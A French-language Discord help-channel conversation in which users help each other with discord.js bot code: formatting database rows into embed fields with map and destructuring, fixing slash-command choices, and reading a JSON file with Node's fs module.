Imagine que dans les modal tu pourrait inclure du HTML, CSS, JS, ce serait un délire sans noms xD
car en vrai les "mini-jeu" que t'as en tête Discord prévoit de démocratiser les activités
Pour les développeur
😮
ont pourra littéralement créer nos propres activités
C'est quoi l'url de ces pages ?
Ça à l'air génial 😮
En plus de redécouvrir le dev de bots, je découvre d'autres trucs aux quels je ne m'étais pas intéressé xD
après le truc d'activité marche pas encore
Oui je m'en doute bien
Mais je vais très certainement explorer ça dès que c'est disponnible
Je vais en parler à un amis qui avait commencer à développer un jeu Hack'n Slash avec VueJS ça pourrait l'intéresser xD
D'ailleurs je ne sais pas si je te l'avais déjà montré mais regarde, et c'est pas un Hack'n Slash ma mémoire me jouait des tours : https://dev.dungeon-crawler.voided.name/game (Si tu veux voir les boxs de collisions appuis sur F1)
oui le voici
module.exports = {
data: new SlashCommandBuilder()
.setName('listclient')
.setDescription('liste tout les clients')
.setDefaultMemberPermissions(PermissionFlagsBits.Administrator),
async execute(interaction, bot){
db.query('SELECT username, bot, datedebut, facturation FROM client', (err, rows) => {
const embed = new EmbedBuilder()
.setTitle('Liste des clients')
.setDescription('Voici la liste des clients')
.setTimestamp(Date.now())
.setFooter({
text: bot.user.username,
iconURL: bot.user.displayAvatarURL(),
});
rows.forEach((row) => {
const ligneFormat = `Username: ${row.username} Bot: ${row.bot} Debut: ${row.datedebut} Facturation: ${row.facturation}`;
console.log(ligneFormat)
});
interaction.reply({embeds : [embed]})
})
}
}
Umh ... Ce qu'il faudrait pour ton ```js
rows.forEach((row) => {
const ligneFormat = Username: ${row.username} Bot: ${row.bot} Debut: ${row.datedebut} Facturation: ${row.facturation};
console.log(ligneFormat)
});
C'est que tu en fasse un map au lieu du forEach, que tu stock dans une const, dans laquelle tu return
```js
{name: 'Ce que tu veux en Titre', value: `Username: ${row.username} Bot: ${row.bot} Debut: ${row.datedebut} Facturation: ${row.facturation}`}
``` pour chaque ligne (C'est un exemple)
Puis en dessous de setDescription tu fais un `.addFields(tableau.forEach(item => item))`
Je ne sais pas si ça fonctionnerait correctement
D'autant plus que si tu as 4985156189451891 lignes à retourné, il va falloir que tu trouve une alternative pour pouvoir tout afficher
nan je n'en aurais pas autant x)
comment je peut faire un map ? ^^
Là mon exemple est valable pour peu de lignes (en prenant en compte que tu ne dépasse pas 4k caractères)
pas de soucis j'aurais 10 lignes au maximun ^^
Comme le ForEach : ```js
const FormatedArray = rows.map( {username, bot, datedebut, facturation} => {name: 'Ce que tu veux en Titre', value: Username: ${row.username} Bot: ${row.bot} Debut: ${row.datedebut} Facturation: ${row.facturation}});
Là j'utilise la destructuration qui t'évite de faire row.quelquechose à chaque fois
il faut que tu le fasse avant ton Embed, puis au moment de la création de l'embed tu as juste à faire .addFields(FormatedArray.forEach(item => item))
Libre à toi de choisir le nom de la const biensur
En cas de problèmes, je me suis basé sur ça : https://discordjs.guide/popular-topics/embeds.html#embed-preview
merci beaucoup je vais essayer cela !
et du coup le foreach disparait entierement ?
Pas de soucis, et si la Destructuration te pose soucis, tu peux refaire row => row.quelquechose
Oui en faite la diff entre ForEach et Map c'est que ForEach te permet d'agir sur chaque entrée d'un tableau, Map lui te génère un nouveau tableau avec les modifs que tu auras fais sur chaque entrées du tableau de base
Avec le Map que je t'ai fais faire et le ForEach que tu vas faire dans le addFields, ça donnera un résultat final comme celui-ci :
.addFields(
{name: 'Ce que tu veux en Titre', value: `Username: ${row.username} Bot: ${row.bot} Debut: ${row.datedebut} Facturation: ${row.facturation}`},
{name: 'Ce que tu veux en Titre', value: `Username: ${row.username} Bot: ${row.bot} Debut: ${row.datedebut} Facturation: ${row.facturation}`},
{name: 'Ce que tu veux en Titre', value: `Username: ${row.username} Bot: ${row.bot} Debut: ${row.datedebut} Facturation: ${row.facturation}`},
{name: 'Ce que tu veux en Titre', value: `Username: ${row.username} Bot: ${row.bot} Debut: ${row.datedebut} Facturation: ${row.facturation}`},
)
Sauf si j'ai fais une erreur mais normalement ça devrait être bon
mais ce que je ne comprend pas (excusez moi) c'est comment le map va stocker tout les résultats s'il ne sont pas parcouru 😅
Justement ils sont parcouru, Map c'est comme ForEach, sauf qu'il recréé un tableau 😉
Et c'est stocké car ton map tu le met dans une const
async execute(interaction, bot){
db.query('SELECT username, bot, datedebut, facturation FROM client', (err, rows) => {
const embed = new EmbedBuilder()
.setTitle('Liste des clients')
.setDescription('Voici la liste des clients')
.setTimestamp(Date.now())
.setFooter({
text: bot.user.username,
iconURL: bot.user.displayAvatarURL(),
});
const ArrayFormat = rows.map( {username, bot, datedebut, facturation} => {name: 'Ce que tu veux en Titre', value: `Username: ${row.username} Bot: ${row.bot} Debut: ${row.datedebut} Facturation: ${row.facturation}`});
interaction.reply({embeds : [embed]})
})
}
j'ai cela et l'erreur expected "," sur le "=>"
Euh ... Ah
attend je le test de mon coté
Ah oui pardon xD
ici : {username, bot, datedebut, facturation}
J'ai oublié les () donc ça devient ({username, bot, datedebut, facturation})
alors j'ai essayer quelque chose de mon coté qui a fonctionner mais je ne comprend pas ce qui change avec vous 😅
const formattedArray = rows.map((row) => ({
name: 'Titre',
value: `Username: ${row.username}\nBot: ${row.bot}\nDebut: ${row.datedebut}\nFacturation: ${row.facturation}`,
}));
j'ai fait ceci, et a première vue mon embed affiche bien mon résultat de base de donnée 😅
c'est quoi la différence entre mettre row et mettre username, bot, datedebut, facturation ? 😅
J'ai fais pas mal d'erreur en gros le code que je voulais donné c'était ça xD
const ArrayFormat = data.map( ({username, bot, datedebut, facturation}) => {
return {name: 'Ce que tu veux en Titre', value: `Username: ${username} Bot: ${bot} Debut: ${datedebut} Facturation: ${facturation}`}
});
Mais sinon c'est pareil que ton code
Et la différence c'est que j'utilise la destructuration, attend je t'envoie une documentation
d'accord j'était sur la bonne piste je me doutait que c'etait en utilisation de la destruction et je vien d'essayer de ce code x)
du coup sa donne ceci
const formattedArray = rows.map(({username, bot, datedebut, facturation}) => {
return { name: 'Ce que tu veux en Titre',
value: `Username: ${username} Bot: ${bot} Debut: ${datedebut} Facturation: ${facturation}`
}});
Imagine que ```js
const data = [
{username: "TestUsername", bot:"TestBot"},
{username: "TestUsername", bot:"TestBot"},
{username: "TestUsername", bot:"TestBot"},
{username: "TestUsername", bot:"TestBot"},
];
Si tu prend ton exemple avec ```js
data.forEach(item => {
console.log(item.username); // retourne tout les Usernames
});
En faite tu peux faire : ```js
data.forEach( ({username}) => {
console.log(username); // retourne tout les usernames
});
Ce sera pareil
oui je vois a la place de passer le tableau la destruction donne uniquement les variable
Car quand tu fais {username} à la place de l'objet, c'est comme si tu faisais object.username directement
ceci est le même fonctionnement que lorsque l'on importe discordjs de la sorte const{} = require('discordjs')
a la place de recuperer un tableau on recupere uniuqment le champ qui nous intéresse
d'accord je vois, merci beaucoup pour votre aide 😅
C'est un avis perso, mais cette synthaxe je la trouve beaucoup plus agréable 🙂
oui je trouve aussi 😅
merci beaucoup en tout cas pour votre aide, excusez moi du dérangement 😅
Non pas de soucis, j'étais motivé xD
moi j'avais beaucoup de mal a comprendre comment envoyer comme sa plusieurs ligne dans un embed mtn j'ai compris sa va m'aider pas mal ^^
C'est assez flou quand on a pas l'habitude oui
par hasard vous ne sauriez pas comment formatter mes date ? 😅
comme c'est en base de donnée champ date sa m'affiche plein de truc a la place de juste la date x)
J'ai rencontré les mêmes soucis pour rendre plusieurs données dans des <li> xD
Alors pour formater les Dates c'est très simple mais je vais t'envoyer la documentation 😉
super je vous remercie je vais regarder a sa ^^
Pas de soucis, et MDN c'est ton meilleurs ami oubli pas 😉
oui je trouve pas mal de chose dessus 😅
C'est important que tu trouve les choses les "plus simple" par toi même, tu apprendras mieux et + vite, et que tu vienne nous voir quand tu bloque réellement 😉
oui la j'ai trouver, pour le coup de l'embed sa me bloquer vraiment mdrr sa faisait longtemps je chercher xD
C'est chiant au début, puis à force de pratiquer ça ira tout seul xD
Bonjours, normalement avec cette description de commande, je suis sensé avoir 2 choix quand je fait la commande or je n'ai rien pouvez vous m'aider svp
.addStringOption((o) =>
o
.setName("etat")
.setDescription("Etat du systeme de bienvenue : on ou off")
.setRequired(true)
.addChoices({name: "on", value: "on"}, {name: "off", value: "off"})
)```
Pour ma part je ne suis pas encore à jour sur DJS14 du coup je passe mon tour xD
ah xD
Bonjour tu a directement l'option booléenne pour mettre true ou false, cela est plus simple que de passer par des choix x)
hein?
ton choix correspond a un on off si je comprend bien ?
oep
un on off revient a faire un true false
ui
tu peut donc utiliser l'option booleenne a la place de string, comme ceci
.addBooleanOption((option) =>
option
.setName("etat")
.setDescription("Etat du système de bienvenue")
.setRequired(true)
),
a oe
mais dans tout les cas j'aimerai bien saoir pk sa fonctionne pas pour des futures commandes
je vais regarder
ok mrc
ton code est bon et fonctionne pour moi, voila le code que j'ai mais c'est le même que toi
.addStringOption((o) =>
o
.setName("etat")
.setDescription("Etat du systeme de bienvenue : on ou off")
.setRequired(true)
.addChoices(
{name: "on", value: "on"},
{name: "off", value: "off"})
),
Helloo tous le monde, j'ai besooin d'aide je comprend pas mon erreur :
Est ce que vous pouvez m'aidez ?
Apparement, il ne trouve pas le fichier (cf ligne 36)
Mais la ligne 38 renvoie a la 8 au final ? Et le fichier c'est la racine complète ces presque pas possible qu'il ne le trouve pas ?
Que vaut jsonData ?
fs.readFileSync('C:/Users/gauth/Desktop/links.json', 'utf-8');
Ces cette valeur qui le suit
Parce que si c'est le contenu d'un fichier .json, pourquoi après tu l'utilise à la ligne 36 comme un chemin d'accès ?
Bah enfaite je pensais qu'en faisant sa je récupérer le contenue du fichier JSON
Là, ton code cherche un fichier ayant comme nom le contenu de links.json
Bah en faite j'veux pas le fichier je veux son contenue ..
Enfaite mon JSON contient tous les liens afficher dans l'erreur et je veux que le programme les télécharge un par un pour m'éviter de le faire manuellement
ton fichier index.js :
const fs = require("fs")
const content = fs.readFile("config.json")
ton fichier config.json :
{
"x": "y"
}
et donc la variable content prendra pour valeur le contenu du fichier config.json dans une chaîne de caractères
ça ok, mais dcp à quoi sert ce qui se trouve à partir de la ligne 36 ?